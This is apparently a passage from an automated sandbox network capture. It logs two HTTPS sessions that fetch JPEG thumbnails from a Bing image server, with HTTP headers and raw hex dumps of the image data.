V{gg<t#~HD1*;ojL@)NW~q$!s<3Jsvfj".

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49749	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 20:11:08 UTC	375	OUT	GET /th?id=OADD2.10239402415262_1QYE6F4QD8CN041QB&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-12-18 20:11:08 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 612938 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 55481588A87146189B6C6F9F181AB4EA Ref B: EWR30EDGE1416 Ref C: 2024-12-18T20:11:08Z Date: Wed, 18 Dec 2024 20:11:08 GMT Connection: close
2024-12-18 20:11:08 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 20 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 31 32 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 34 3a 31 30 3a 31 37 20 31 32 3a 34 31 3a 31 34 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 07 80 00 00 a0 03 00 03 00 00 00 01 04 38 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1 r2i``Adobe Photoshop 25.12 (Windows)2024:10:17 12:41:148C
2024-12-18 20:11:09 UTC	16384	IN	Data Raw: 54 27 62 93 b1 43 58 d3 2d 2f d5 45 cc 5e 66 df ba b5 9e fa 25 a2 59 c9 6f 6f 68 ab bb fe 05 5b be 62 77 6a 54 20 f3 f2 d5 a9 c9 20 b2 ea 8e 0a ff 00 c3 17 02 6f f4 75 e3 f8 bf d9 a9 b4 ef 0f 5f a5 d7 95 3c 52 34 5f f3 d2 3a ee 7a 53 1e 40 b5 a7 d6 6a 35 62 15 38 a7 a2 2a d9 e9 96 70 c2 a3 c8 56 3b 7e 66 6a b3 1d bc 09 fe ae 25 5f f7 69 9f 6a 43 c6 d6 a8 ae 1e 7f bf 17 4f ee d6 3a b3 44 99 6f 81 49 96 35 49 6f a5 55 f9 e2 e6 a2 6d 4a 5d df 77 68 a3 95 8a c6 9a 67 6f 34 b5 9c da 89 55 cf de aa 93 6a 73 b3 63 72 ad 1c ac 76 37 29 ae c0 71 59 d6 77 92 95 f9 db 75 68 47 86 e4 d1 6b 05 ad a8 c5 c3 37 df a9 23 a5 c0 a5 a4 dd c4 dd c3 2b 45 23 28 34 c7 1b 7e ed 20 4a e4 95 05 c3 4e 3f d5 ad 3d 58 d3 95 b3 4c 76 69 99 ed 79 76 9d 62 dd 44 77 f3 16 c3 ae da bd 2c Data Ascii: T'bCX-/E^f%Yooh[bwjT ou_<R4_:zS@j5b8*pV;~fj%_ijCO:DoI5IoUmJ]whgo4Ujscrv7)qYwuhGk7#+E#(4~ JN?=XLviyvbDw,
2024-12-18 20:11:09 UTC	16384	IN	Data Raw: b5 00 52 b9 fb 62 ee d9 16 ef f8 15 50 fb 4d e4 7c 98 19 ab 76 35 88 b7 1f 35 54 d4 2c 64 7d c6 de 76 5d df c3 57 19 22 24 99 87 a8 5e dc 4b f2 18 99 45 52 78 dd eb 67 fb 27 50 7e 4f ca 3f da 6a a7 75 14 f6 f2 34 6e bf 32 d6 d1 92 d9 19 b8 df 73 32 4b 62 ab ba ab 4c 80 56 9b 12 fd 6a b4 d0 83 5a 29 19 c9 58 cf 61 42 f1 52 cd 09 5f 9a a1 20 8e b5 aa 90 89 63 60 2a c2 30 35 4d 18 86 ab 08 e2 86 80 b6 83 35 62 dd 33 fc 35 5e d5 f7 2d 58 48 dc b7 15 93 1a 2f da d9 f9 8d 82 df f7 cd 69 c5 a3 c4 eb 81 d7 fd aa cc b1 b8 78 19 49 5d db 6b 52 df 58 51 ff 00 2c 19 45 65 2e 6b 9a a4 89 ad b4 28 c7 5d ad fe f5 5d 8f 49 0a bf 22 c4 bf ee ad 16 77 9e 77 4a be 84 ed fb d5 93 6c d1 24 55 93 49 89 a3 c4 8a bf 37 f7 6a 07 f0 e5 93 36 fd cd 5a 4d 25 0a fd a9 73 49 75 0e 54 Data Ascii: RbPM\|v55T,d}v]W"$^KERxg'P~O?ju4n2s2KbLVjZ)XaBR_ c`*05M5b35^-XH/ixI]kRXQ,Ee.k(]]I"wwJl$UI7j6ZM%sIuT
2024-12-18 20:11:09 UTC	16384	IN	Data Raw: 6d a6 78 73 c2 b6 ff 00 d9 96 57 8d 6d 73 f6 43 26 a9 ac c7 87 6b 34 3c 05 52 72 11 dd b8 00 0c e3 27 d2 bc 13 c7 de 32 f0 46 8d 63 3e 9f e1 f8 2e 6e a3 d3 6e 47 9f a8 5d dc 8d d7 81 fe 66 ca 28 e1 55 71 ce 39 cf 39 af 3a 9d 39 4d e8 8e a9 d4 8c 77 3a bf 86 b0 e8 da b5 c6 a7 7b e2 4b 68 e4 b0 d2 a0 57 8d 6f 64 28 92 26 0b 2a ab 39 03 19 20 e4 03 cd 70 7f b4 3e a7 a4 69 1e 1f b3 d1 ef 6e 64 9f c4 5f 64 1e 62 ab 06 86 de 23 21 65 5e 3a b9 42 b9 f4 fc 4d 51 fe d5 f1 26 b1 e3 0d 3e cf c3 f1 35 d6 a9 78 d1 dd 2d a4 db 1a 3b 5b 64 19 52 e1 fe 45 55 5c 12 5b 8c e3 e9 5c af 89 2c 6f 3c 4f f1 0a fa ea ee 76 d4 ee a4 95 93 cc 89 7c c4 92 45 eb 82 b9 0c 09 cf 3d 3e b5 db 87 a2 9c d3 91 cd 5a ab e5 b2 30 fe 1f e8 16 de 2e f1 16 2e 5d ac ed 20 8c c9 77 24 50 3d cc d2 Data Ascii: mxsWmsC&k4<Rr'2Fc>.nnG]f(Uq99:9Mw:{KhWod(&*9 p>ind_db#!e^:BMQ&>5x-;[dREU\[\,o<Ov\|E=>Z0..] w$P=
2024-12-18 20:11:09 UTC	16384	IN	Data Raw: 7f 0f 46 ff 00 eb 50 17 24 5c 08 f3 26 e5 3f fa 15 3e 49 47 97 b1 17 e6 6f bc cd 55 ed fc db ab a5 4b 45 6d ab fc 4d 52 bc 3b 57 0e cc cc df ca 81 89 0a 6e b8 f3 06 d5 0b ff 00 8f 55 98 e6 48 61 96 03 14 6c 24 5c 2b 32 ee db df 8f 4a 63 02 36 a0 f9 42 fd da 17 12 5b ac 83 e5 3f c5 40 14 e3 24 b6 f3 d5 9b ef 52 32 00 df 2f ef 02 ff 00 76 9c 8a 22 8e 40 55 b1 ff 00 8f 7d 69 2c 62 dd f3 bb 70 bf dd aa 24 b7 62 9b 59 4b ab 29 6e 15 57 df bd 5f b8 94 ed f2 f7 7d de 1a aa 5b be 3f 7b b7 6b 74 dd 51 99 5c 49 8f 37 6f fc 06 a4 a3 4a da 07 55 f9 f6 a8 6f bb bb f8 aa 6b 19 7c 86 96 07 55 65 93 ee b3 2f f2 35 4e 32 eb f3 fd e1 48 f2 93 b9 d3 e6 0b fc 34 01 7e e2 e2 de 1f 95 1b cc 95 b9 6d bf ca a0 91 a7 96 48 de 5f 94 6d f9 55 6a 3b 5b b0 8b b1 d7 ef 37 cb fd ea 53 Data Ascii: FP$\&?>IGoUKEmMR;WnUHal$\+2Jc6B[?@$R2/v"@U}i,bp$bYK)nW_}[?{ktQ\I7oJUok\|Ue/5N2H4~mH_mUj;[7S
2024-12-18 20:11:09 UTC	16384	IN	Data Raw: aa 78 5e 48 e4 17 d6 3f 6e 89 40 b9 8b cc dc b1 a3 72 54 ff 00 79 b6 f3 81 55 6c 24 8a 2d 43 fb 42 6b 38 d9 96 03 1c ed 1c 7f 34 88 e3 d7 bf 71 53 2f 66 af 51 ea 52 e7 d2 1b 1e 83 e1 bf 89 7a 56 bd 7d 0d ae ab e1 c9 e2 68 ac 85 d5 ca fd 98 32 db a1 38 45 67 24 12 cd d7 38 02 b1 3c 45 af e8 72 5d 35 ce 91 6c d1 88 d9 5d 6d ae 72 15 86 70 cb cb 63 df ad 71 1e 3a b8 d2 2e 66 ba 9e ee 08 e2 6d 49 54 dc b4 6c 57 cc 0a 98 f5 ec a3 b5 71 9f 14 af a4 b6 f0 6d e4 10 4b bb cd b4 48 d5 15 4a f9 61 ce 46 0f 4f ba b8 ae 3a 75 5f 3a 54 f4 b9 d1 28 ae 5b cb a1 d3 f8 8b 55 d4 7e d1 73 24 be 64 90 b4 6d 1c 71 2b 05 8d 4b 75 6f 97 f8 46 36 8e e4 b5 79 f7 c4 0b 9b 76 f0 bf da f4 85 82 ce ea d9 8d d3 32 b6 5e 17 ce d2 8b d8 1e b9 ab 1a 2d a5 e5 87 c3 b5 d3 db ed 32 ce d1 e3 Data Ascii: x^H?n@rTyUl$-CBk84qS/fQRzV}h28Eg$8<Er]5l]mrpcq:.fmITlWqmKHJaFO:u_:T([U~s$dmq+KuoF6yv2^-2
2024-12-18 20:11:09 UTC	16384	IN	Data Raw: cb 01 fd 4f 5c 56 a6 b1 73 6f a2 f9 98 dc da 84 96 98 f3 e4 6f 9b 61 e9 c7 6c b7 a7 5f ce b8 5b 8b 99 c7 8b 3e d1 77 14 ad 34 fe 5f 97 1b 37 cd 92 06 07 b5 75 d1 4e a6 bd 0c 6a 35 1f 53 a4 8e d4 58 f8 92 5b 08 9a 4b 9b 8b c8 95 e5 93 f8 94 ff 00 74 63 db f2 15 b7 e1 9b 3f 33 5a 9f 47 8b 6a c3 6d e5 cd 73 72 bf 2a 31 07 22 30 47 f0 82 72 71 d7 f2 ac d9 a3 96 4b e5 10 b2 fd aa 7c 8f 33 bb 70 01 27 3d 14 63 68 1d eb b1 55 82 c6 1b 1d 30 2f d9 55 7e 79 37 7c a6 4e 09 54 1d 07 23 9a e7 ad 51 a8 a3 4a 71 57 2d 5a de 4b 1b 49 13 c1 04 91 79 81 ad 20 55 f9 d9 c7 fc b4 7e c3 a8 e3 b7 35 85 aa 69 57 ba b6 ad 16 97 6d 2c 91 b3 4a 0c f3 6e ff 00 59 c7 27 38 ea 08 ad ad 22 37 1e 62 3c 1b ae 24 7f ba cd b4 f3 c8 1f 80 35 43 c5 9a 8d a6 83 e4 5d 4a ac bf bd f2 d9 d9 bb Data Ascii: O\Vsooal_[>w4_7uNj5SX[Ktc?3ZGjmsr*1"0GrqK\|3p'=chU0/U~y7\|NT#QJqW-ZKIy U~5iWm,JnY'8"7b<$5C]J
2024-12-18 20:11:09 UTC	16067	IN	Data Raw: 65 c9 3f 79 bf 78 4e 07 43 8f e1 15 89 a8 f8 ae fe df c4 97 da a5 a5 e4 f6 ba a6 a6 cc 6f bc 8c a7 97 6e 63 01 94 37 62 ec 0f 03 ee 8a 86 1f 10 ff 00 68 46 d6 16 b6 7e 6c 4b 24 52 46 d7 72 3c 8c a9 e6 0d c0 93 f7 b3 b5 38 c0 e3 f3 a5 1a 4d 24 d6 c5 4a a2 6c eb 3c 33 69 73 e3 4b 1f 0c 78 43 4d b1 b2 b5 5b 66 ba 9d 26 92 3d cc ae e4 bf 99 2b 71 bd 40 18 c7 7d a3 9a e7 60 d0 2f ec 35 2f b3 5c 34 91 19 2f 45 ac 0d 77 1e d7 b8 45 39 76 8d 1b d7 04 f3 80 43 0e 79 ad 1f 08 f8 a2 59 75 25 b8 d3 ee ae e1 68 ed 24 82 d1 65 93 cc 5b 50 44 81 84 7c 8e 79 6c 03 90 aa 3f 88 e2 b5 3c 4d 79 fd b7 7d 6b 71 24 4c d7 8b 00 1e 6c 7f 34 8b 93 b8 33 93 d4 ff 00 4c 0e d5 8c aa 38 36 8d 23 15 2d 4e 62 c6 fa 2f 08 eb 92 58 5f ed 92 ee 5b 6f 32 36 f3 f1 1a e0 10 ca 72 3e 52 7a e7 Data Ascii: e?yxNConc7bhF~lK$RFr<8M$Jl<3isKxCM[f&=+q@}`/5/\4/EwE9vCyYu%h$e[PD\|yl?<My}kq$Ll43L86#-Nb/X_[o26r>Rz
2024-12-18 20:11:09 UTC	16384	IN	Data Raw: cf 18 79 65 5f bb 6e 8a 37 00 3f da 35 a5 4b 42 9d 91 31 bc a6 50 d5 60 97 52 5b 6d ea cd 71 c1 58 d7 e6 66 e0 60 91 e8 06 3e a6 b7 24 d3 74 8f 0e 69 36 32 5e 5b 35 f5 e7 2f 3b c6 c5 53 79 1c 27 39 dd b6 a5 d0 ad e3 d3 34 76 d5 e4 fb d2 36 17 e6 0c eb 1a 9c 60 67 db de ba 9f 87 ff 00 0f fc 57 e3 29 2d 6f 3f b1 76 e8 b2 dc 9d 97 73 b6 d4 8d 07 52 17 39 7f 4c 8e 09 fc 6b 9e 55 6f a7 d9 46 8a 1e 5a 9a 7f 0e be 1c ea fe 34 be d3 06 a9 6b 77 06 83 2c 7f 68 92 45 8d 17 ce 20 64 2f 27 21 33 d3 8e 6b d4 3c 6d e1 ff 00 0d 78 13 4b 8a e3 4e d3 61 96 fa 56 22 29 2e db cc 5b 70 06 4b aa 37 1b b3 80 0e 38 af 49 d1 6d bf b3 b4 9b 6b 28 62 fd d5 ac 4b 1c 6c d8 dd 85 18 e7 15 e5 ff 00 17 7c 1f e3 1d 63 54 9f 50 8a da 3d 4a da 56 d8 90 45 20 57 8e 31 db 0d 8e 3e 86 b8 67 Data Ascii: ye_n7?5KB1P`R[mqXf`>$ti62^[5/;Sy'94v6`gW)-o?vsR9LkUoFZ4kw,hE d/'!3k<mxKNaV").[pK78Imk(bKl\|cTP=JVE W1>g
2024-12-18 20:11:09 UTC	16384	IN	Data Raw: 2b 6a 57 57 5a 6c ba 5a 3f fa 2c 72 f9 91 c7 b7 6a c6 7b 91 f5 ac c6 1f 36 c3 ff 00 ec d6 8f 88 2e 6c ae 66 5b bd 32 29 e0 66 5d d7 31 c8 d9 1b ff 00 d9 3e 95 9a ec 77 6e dd f7 ab e8 e9 db 97 6b 1e 74 f7 dc 91 1f 6f 05 79 a6 5c 10 76 9f fb e5 a8 7d fb 55 87 56 e5 69 1a 71 22 ec da bb d7 ff 00 1e ab bd cc c7 42 73 b4 fd d3 52 2b 63 a7 cd bb ef 2d 42 c3 e5 6f 2f fb bf f7 cd 36 12 4e d7 fb a6 9a 02 dc 32 09 7f 76 59 54 af dd 6f e8 68 99 1d 59 77 ff 00 17 2a cb 51 48 7f 8f ef 35 4d 6f 26 63 da fb 99 7f bb fe 14 5c 96 84 db fb ce 3e 6f f6 b7 56 f7 81 6f 60 b1 d7 92 39 e2 56 f3 db cb dc df c3 93 fe 35 89 34 68 8b c3 70 df 76 a5 d3 ee 84 77 49 39 8d 5b cb 6c ed 6a 52 5c d1 68 21 2e 59 26 6f eb 5a 3d ed e7 88 a7 fb 22 f9 b0 c8 c0 79 ed c2 b1 ee 7d c6 6b d2 b4 b9 Data Ascii: +jWWZlZ?,rj{6.lf[2)f]1>wnktoy\v}UViq"BsR+c-Bo/6N2vYTohYw*QH5Mo&c\>oVo`9V54hpvwI9[ljR\h!.Y&oZ="y}k

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.6	49748	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-12-18 20:11:08 UTC	346	OUT	GET /th?id=OADD2.10239402415261_1RYOARG5S55IRLQU7&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-12-18 20:11:08 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 644900 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 7DE90B8AF351462DA3681A6B40454FDD Ref B: EWR30EDGE1007 Ref C: 2024-12-18T20:11:08Z Date: Wed, 18 Dec 2024 20:11:08 GMT Connection: close
2024-12-18 20:11:08 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff e1 19 12 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 20 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 d2 00 60 00 00 00 01 00 00 00 60 00 00 00 01 00 00 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 35 2e 31 32 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 34 3a 31 30 3a 31 37 20 31 32 3a 34 32 3a 30 30 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 07 80 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 Data Ascii: JFIF``ExifMM*bj(1 r2i``Adobe Photoshop 25.12 (Windows)2024:10:17 12:42:008
2024-12-18 20:11:09 UTC	16384	IN	Data Raw: e5 b5 59 48 c0 ea b4 d4 94 05 a3 ce cf 45 ae 73 52 4d 91 9a 49 23 05 78 a8 5a e9 13 87 a5 fb 64 27 f8 a8 b3 0b 99 97 d6 37 06 6c c7 f3 52 db 43 79 0f 2f 5a 4f 35 bb 2e 4b 54 32 34 0f f7 25 db 57 cc ec 4f 2a 4f 41 d0 c9 29 fe 1e 2a 7f 33 3d 76 d6 74 91 67 8f b6 6d 15 05 c2 3a ae 22 b9 dd fe ed 2e 44 c1 b3 4e 64 82 45 6c ad 63 5f c3 11 66 40 df 2d 4d 09 9d 3a b6 ea 9a 68 62 69 32 5b 96 ab 8f ba c4 fd e4 73 33 2d b8 66 4f 95 8f fb b5 34 70 58 34 3f 3e d5 6a b5 7d 61 6e d3 31 1b 94 ff 00 0b 55 3f b3 99 37 46 ad ba ba d4 93 47 33 8b 4c a7 75 a7 a3 73 1e d5 0b 54 24 b2 74 ad 67 b5 bb 8d b0 55 98 54 53 2c 86 3d 9b 5b fe f9 ad a3 51 f7 31 94 15 f6 31 e4 85 c3 66 a2 d8 fb 79 ad 96 b7 3d 0a d3 92 c4 32 d6 9e d1 11 ec ae 63 20 35 66 d4 ba b5 5c 93 4e 29 d2 93 ec 72 Data Ascii: YHEsRMI#xZd'7lRCy/ZO5.KT24%WOOA)3=vtgm:".DNdElc_f@-M:hbi2[s3-fO4pX4?>j}an1U?7FG3LusT$tgUTS,=[Q11fy=2c 5f\N)r
2024-12-18 20:11:09 UTC	16384	IN	Data Raw: e2 ee 6b 73 76 de e0 6e ab ab 3a 6d c8 ae 55 2f b1 56 22 d4 06 df bd 4b 95 8f 99 1d 24 73 a3 7f 15 4c 92 03 5c 9b 6a 7e 5c 9c 35 58 b5 d6 00 6f bd 52 e0 c3 46 74 eb 8a 5a cc b5 d4 62 95 7d ea ca 5c 21 fe 2a 8e 56 2e 52 d6 33 49 b4 54 5e 65 1e 6f fb 74 ac c3 95 93 51 80 6a bf 9a 29 16 e0 37 f1 51 ca c3 95 93 b2 e6 a3 f2 8d 39 65 06 9d bc 51 aa 0d 4a 57 56 31 ca d9 d9 cd 67 dc e8 31 b3 31 4d ab bb ef 56 e6 ec d3 b2 2a 94 9a 07 e6 71 f3 78 6e e0 c8 c4 6d c7 f0 fc b5 8d ab 68 f7 22 eb cb f2 37 1f ef 2d 7a 43 6c 35 13 db 46 cd bf 6f 35 71 ad 24 4b 8a 67 94 df e9 b3 da 36 27 89 94 b5 53 68 0f f7 5a bd 76 e7 4f 82 55 f9 a2 56 ff 00 80 d6 0e a9 e1 e3 24 d9 8e 25 db fd da de 38 8e e6 6e 9f 63 80 5b 69 1d b0 16 ac b6 95 72 23 67 4f 98 2f fd f5 5d 42 e8 4f b5 b2 bb Data Ascii: ksvn:mU/V"K$sL\j~\5XoRFtZb}\!V.R3IT^eotQj)7Q9eQJWV1g11MVqxnmh"7-zCl5Fo5q$Kg6'ShZvOUV$%8nc[ir#gO/]BO
2024-12-18 20:11:09 UTC	16384	IN	Data Raw: 41 ad c1 e1 db 9f 03 e9 d3 da 5f 69 97 57 2b 75 24 f6 8b fb b5 da 73 ce 79 da 07 18 3d eb cf 7c 1b a8 5d e9 f3 4f 2d b4 bb 5a 78 25 8d 59 98 74 d8 57 18 f7 26 bd 0f e1 17 c3 ff 00 18 6a 7e 1b 92 f6 c2 da 36 f3 17 ed 4d 24 92 23 6d 48 c8 c2 98 fa 92 7d 3b e6 bd 4a 90 8c 64 e7 37 a6 87 24 5c a4 94 52 3e cc f8 5f a3 47 e0 cf 84 36 76 fa 7e 98 b1 dc c7 62 27 92 d9 1b e6 9a e1 93 73 6e 6f 52 d5 f3 17 ed 03 ad 3d a6 b5 af 49 a9 f8 85 67 d7 5b 08 d1 44 bb 61 c0 1c a9 c7 f7 38 55 c6 32 72 6b d7 3e 36 6b ba ce 91 a2 e9 da 42 5b 32 c9 a9 c4 a5 6d ad b7 f9 97 52 90 03 2a aa 93 f2 83 fc 23 a7 1d 6b e7 af 19 68 37 37 52 5a e8 7a 66 83 77 79 e2 3d 4a 66 12 2b 31 79 37 ee c6 d6 8f f8 58 0e 4b 1f 4a f1 68 a4 ea f3 49 ee 7a 15 2f cb ca 91 d5 e8 89 65 e2 cf 83 f9 d5 7c 3d Data Ascii: A_iW+u$sy=\|]O-Zx%YtW&j~6M$#mH};Jd7$\R>_G6v~b'snoR=Ig[Da8U2rk>6kB[2mR*#kh77RZzfwy=Jf+1y7XKJhIz/e\|=
2024-12-18 20:11:09 UTC	16384	IN	Data Raw: ac 98 1a 7f 69 23 8d d5 2c 77 64 56 50 93 35 22 b5 2e 54 1a 9a f1 dd 67 f8 aa 64 9d fa 6e ac 84 90 0a 9a 3b a0 1b 73 54 38 76 29 33 72 17 73 d5 aa dd b0 c2 e7 bd 61 47 7e 87 eb 53 a6 a1 85 fb d5 9b 83 1f 32 36 51 8a c9 56 52 4c ff 00 15 73 ad a9 62 98 ba b3 86 a5 ec e4 3e 73 ab 49 b6 f1 52 7d ab 6a e4 fc b5 cb 47 aa c8 ff 00 71 5a a3 7d 5e 7e 95 3e c9 95 ed 11 d5 be a0 02 fd ea 8a 4d 48 0f e2 ae 4a 6d 42 56 eb 51 ad eb 9a a5 44 9f 68 74 b7 37 e1 bf 8a ab 49 3e ff 00 e2 ac 36 b9 72 d9 a3 ed 4f eb 54 a9 b2 79 ee 69 5c 3e 6a b3 9c d5 46 b8 72 b4 8b 39 aa e5 61 cc 5b 54 cd 3b c8 cd 45 0c e2 a7 8e 51 52 1b 82 db 82 d8 a7 fd 97 e5 a3 cc 05 b8 ac 3f 13 78 96 38 a4 6d 3e cf 74 92 fd c9 64 5f bb 19 fe ef d6 a2 72 51 57 7b 15 18 b6 ec 8c 7f 1a 6b 31 c1 6f 2b c0 de Data Ascii: i#,wdVP5".Tgdn;sT8v)3rsaG~S26QVRLsb>sIR}jGqZ}^~>MHJmBVQDht7I>6rOTyi\>jFr9a[T;EQR?x8m>td_rQW{k1o+
2024-12-18 20:11:09 UTC	16384	IN	Data Raw: 3e ed c6 4f cd 5c ef 83 d3 52 8e ea e7 53 bc be 69 61 ba 6c f9 12 47 b7 ec e7 3c f3 dc 7a 56 dd e1 1e 62 de 79 fb 6d e3 43 e6 7f 4a 87 b9 ad 89 75 09 56 08 5a 79 25 d9 1c 6b 96 6e 83 02 b8 7b 6f 1f dc ea ed e5 e8 5a 44 92 47 f6 91 6d 25 dc ec 16 38 dc fa 81 cf 4e 6b 9f f8 89 e3 3f ed 3d 06 4d 1b fd 44 8d 3c 89 f7 b7 79 d1 8f f5 6d c7 4c fa 57 9d 69 5e 27 d5 7c 3d 25 e2 5b cb b6 39 e3 d9 24 4c c3 ef 83 95 6f 62 2b b2 96 19 c9 36 f7 39 e5 59 45 a4 7a ef 8d b5 4f 10 69 7b 83 ea b7 2e b3 c9 88 e5 5b 64 8d 17 1e 98 24 fe 75 cf c2 fa dd ca b4 f2 ff 00 68 4f 6a cb be 49 24 53 b3 8e 72 09 e2 b3 75 ed 72 ef 58 f8 3b 00 bc d4 d6 e6 f2 de f0 1f 36 36 e6 40 c0 9c 32 ff 00 79 7a 71 54 74 ff 00 14 5f dc 58 db 45 a8 5e 5c cb 6d 6a b1 c6 b1 2b 6d 59 82 76 6c 56 94 e9 35 Data Ascii: >O\RSialG<zVbymCJuVZy%kn{oZDGm%8Nk?=MD<ymLWi^'\|=%[9$Lob+69YEzOi{.[d$uhOjI$SrurX;66@2yzqTt_XE^\mj+mYvlV5
2024-12-18 20:11:09 UTC	16384	IN	Data Raw: dc f0 8d 56 31 14 8b 07 9b 1c 9e 5c 87 74 8b f7 5b 9e a2 b3 af 3e 79 18 7f 77 8a dd f1 cb 59 1d 4a 31 a7 c4 cb 6d 6c c6 18 d9 be fc 88 0e 41 70 3f 8b 93 58 97 44 7d b2 42 1e be a6 94 af 14 cf 1a 6b 56 8d ef 84 f7 d6 7a 5f 8d 2c 75 0b f8 b7 47 13 1d ad ff 00 3c df 18 57 fc 0d 7a d7 83 14 5d ea 10 cf e6 c9 2c d7 53 9b c9 65 fe f6 dd ea 33 e8 a0 7f 31 5e 4f f0 be de 3b bf 12 2d a5 c3 79 6b 3c 72 06 91 7e 66 50 10 b1 03 dc ed c6 7b 66 be 89 bf f1 01 f0 c7 c2 76 b3 97 4c b2 82 5d 61 2c ec a5 fb 35 be db 88 e3 f3 07 ca af eb 83 f9 d7 93 99 34 ea 24 b7 67 6e 0f e1 6d ec 73 7a 1d bd c2 7f 6d 78 f2 f2 2d d2 5f 37 d8 f4 f8 9b 2d fb a0 76 9f fb e8 80 3f e0 26 b1 be 2d 18 d3 49 50 9b 98 70 9e 52 ae d4 84 8c f6 f5 20 67 15 dc 78 fa e2 c1 da 3d 2e 3b 38 ed 2d 22 9e 34 Data Ascii: V1\t[>ywYJ1mlAp?XD}BkVz_,uG<Wz],Se31^O;-yk<r~fP{fvL]a,54$gnmszmx-_7-v?&-IPpR gx=.;8-"4
2024-12-18 20:11:09 UTC	16067	IN	Data Raw: 77 a8 27 e6 eb df 6d 6d fc 37 9c b7 8d a5 d4 ee da 79 7c db 46 4b 69 25 c2 b3 00 00 f9 bd f6 8c 55 5b 3d 2a 2b fd 27 50 d5 ee 37 7d 8d 53 cc b6 69 1b e6 90 ef c3 67 9c e0 1e 2b a4 f8 3b a1 dc 6b 1e 38 b5 b4 1b 60 37 51 e6 36 93 ee c2 09 19 66 cf a2 f6 ef 5d b1 a9 14 9f 91 cf c8 db 47 b5 fe cf 7e 05 b9 f1 3f 88 20 d7 6e ff 00 73 a6 e9 97 71 bf 96 cb b9 ae a4 4c 3e c5 f4 00 ed c9 ae fb f6 82 f1 5d ee 89 e7 da c7 02 c9 7d 75 03 49 1a 33 6e f2 50 75 7c 0f 7e 82 b4 ec f5 88 fc 21 a2 c7 18 f3 2e 74 ab 5b 25 36 57 cd 18 46 bc 90 e7 e5 c0 e9 83 fa 57 84 f8 9b 5a bb d7 3c 4c da de a8 cd 29 56 61 7d b6 4d be 76 70 91 c4 84 74 50 4e 7f 2f 5a f1 b1 15 e5 39 dc f4 a9 d3 8a 8d 91 e1 5f 1b 35 2b b5 f1 34 73 c4 d7 71 99 14 cd 27 99 ff 00 2d 1d b1 93 8f a7 6e d5 8d e3 cd Data Ascii: 